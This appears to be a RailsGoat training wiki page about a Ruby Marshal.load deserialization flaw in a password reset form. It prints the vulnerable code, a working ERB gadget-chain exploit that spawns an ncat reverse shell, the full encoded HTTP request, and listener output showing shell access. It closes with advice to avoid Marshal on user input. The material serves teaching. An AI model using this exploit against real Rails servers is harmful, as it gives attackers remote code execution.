-
Notifications
You must be signed in to change notification settings - Fork 776
Extras: Remote Code Execution
Ruby Marshal Security Considerations
Code Injection is the general term for attack types which consist of injecting code that is then interpreted/executed by the application. This type of attack exploits poor handling of untrusted data.
Railsgoat includes a remote code execution vulnerability through Ruby's Marshal.load vulnerability. Ruby's Marshal.load also the deserialization of arbitrary objects. The password reset controller includes a deserialization vulnerability. During the forgot password flow, after the user clicks on the reset email link, the application verifies the token then adds a Marshaled user object which is posted during the password reset.
Within reset_password.html.erb
<div class="content">
<%= hidden_field_tag 'user', Base64.encode64(Marshal.dump(@user)) %>
<%= label_tag "Enter Password" %>
<%= password_field_tag :password, params[:password], {:class => "input input-block-level"} %>
<%= label_tag "Confirm Password" %>
<%= password_field_tag :confirm_password, params[:confirm_password], {:class => "input input-block-level"} %>
</div>
Within password_resets_controller.rb
def reset_password
user = Marshal.load(Base64.decode64(params[:user])) unless params[:user].nil?
if user && params[:password] && params[:confirm_password] && params[:password] == params[:confirm_password]
user.password = params[:password]
user.save!
flash[:success] = "Your password has been reset please login"
redirect_to :login
else
flash[:error] = "Error resetting your password. Please try again."
redirect_to :login
end
end
# Dump an ActiveRecord object with the needed attributes for a User.
# This can be done in the railsgoat project or from another Rails 3.2 project by
# creating a User class with the required fields (id, user_id, created_at, updated_at)
# and the additional fields you want to change.
# Assuming a table named 'users' with id, user_id, created_at, updated_at, and email
# as columns exists
class User < ActiveRecord::Base; end
user = User.new(id: 5, user_id: 5)
user.save
user.email = '[email protected]'
# Loading an existing user if in the railsgoat rails console will also work
# user = User.last
# user.email = "[email protected]"
Base64.strict_encode64(Marshal.dump(user))
# => "BAhvOglVc2VyEDoQQGF0...
curl --data "user=<base64_encoded_object>&password=password&confirm_password=password" http://localhost:3000/password_resets
The above example demonstrates how to modify user attributes, but the real danger of this vulnerability is the ability to execute arbitrary code on the server. By leveraging Ruby's ERB template engine and ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy, an attacker can achieve remote code execution.
The following exploit demonstrates a complete RCE attack that spawns a reverse shell. This exploit was created by pich4ya and demonstrates the severity of using Marshal.load with untrusted input.
# RoR + ERB Exploit Payload for RailsGoat
# @author LongCat (Pichaya Morimoto)
# Tested on ruby 2.3.5 + rails 5.1.4
require "base64"
require "erb"
class ActiveSupport
class Deprecation
class DeprecatedInstanceVariableProxy
def initialize(instance, method)
@instance = instance
@method = method
@deprecator = ActiveSupport::Deprecation
end
end
end
end
code = '`ncat 127.0.0.1 1234 -v -e /bin/bash 2>&1`'
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1
ggez = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
puts Base64.encode64(Marshal.dump(ggez)).gsub("\n", "")POST /password_resets HTTP/1.1
Host: localhost:3000
Accept: text/html, application/xhtml+xml
Turbolinks-Referrer: http://localhost:3000/
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Referer: http://localhost:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _railsgoat_session=Y3lJOGJsQ1RSbVBzNXhnYVJnVmYwY3JiZ3RsOVNJWS9pVWtZbHpqZGMyYWNLQXc0M21ha3B5TlMzeW5UWCtCYzdOblpkZ29yMzdJUGRKaHJIZERFNVB6L3o1QkRiMHczTXd1WE44Y0o3WHp0cVdnbWRhNEt0WEprM1QweEtMRUgzaUV3TWdXNFRpZFVsMnA1L1QvazhTOEVyWjBoR3FTbWZQSFJ4em5BQUdjeUdxNGptUy9BbzYrc0IvSm9GQTMwLS1SN3h4SmxYZlZ3M1Y0UzFUaU1jMXB3PT0%3D--43d95cfe8a06f81a00323dac4bb3d810a8667d9b
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 351
user=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJIi9gbmNhdCAxMjcuMC4wLjEgMTIzNCAtdiAtZSAvYmluL2Jhc2ggMj4mMWAGOgZFVDoOQGZpbGVuYW1lSSIGMQY7CVQ6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==&password=x&confirm_password=x
When an attacker sets up a netcat listener and sends the above malicious payload, they gain shell access to the server:
$ ncat -lvp 1234 -k
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: A56B D904 2E26 A379 0F99 4C10 515E 5B89 B6D1 54A0
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:53924.
whoami
pichaya
This demonstrates complete remote code execution, allowing an attacker to run arbitrary commands on the server with the privileges of the Rails application.
Applications should never use Marshal load with user input. If possible Marshal load should not be used in an application. Other forms of serialization can be used such as json.
What does the password reset screen have in the source?
Sections are divided by their OWASP Top Ten label (A1-A10) and marked as R4 and R5 for Rails 4 and 5.